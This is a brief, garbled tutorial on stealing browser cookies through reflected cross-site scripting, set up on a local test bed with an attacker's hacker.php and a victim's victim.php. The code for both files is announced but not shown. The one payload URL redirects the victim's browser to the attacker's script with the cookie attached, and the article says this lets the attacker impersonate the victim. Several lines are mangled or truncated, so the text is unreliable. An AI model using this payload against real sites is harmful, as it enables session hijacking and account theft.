How to get cookie across XSS sites

This article will explain in detail how to obtain cookie across XSS sites. The editor thinks it is very practical, so I share it for you as a reference. I hope you can get something after reading this article.

For reference learning only

Test environment: hacker side and victim side

1. The content of the hacker hacker.php program is as follows:

2. The procedure of the victim side (victim.php) is as follows:

Reappearance of xss cross-station principle

3The payload statement sent by the Magi hacker to victim is as follows:

Http://localhost/victim.php?xss_input=_document.location="http://localhost/hacker.php?cookie="+[xss_clean]

Ps: the event used for the first time is not _ document.location, but the window.open event, But, is selected, which is not successful. Even if I change the browser, I won't take it.

4. When victim clicks the link sent by hacker, the cookie of the Victim host is written into the cookie.txt document of hacker, and the cookie information is lost, so hacker can use this cookie information to bulabula.... victim for a long time.

This is the end of the article on "how to get cookie across XSS sites". I hope the above content can be of some help to you, so that you can learn more knowledge. if you think the article is good, please share it for more people to see.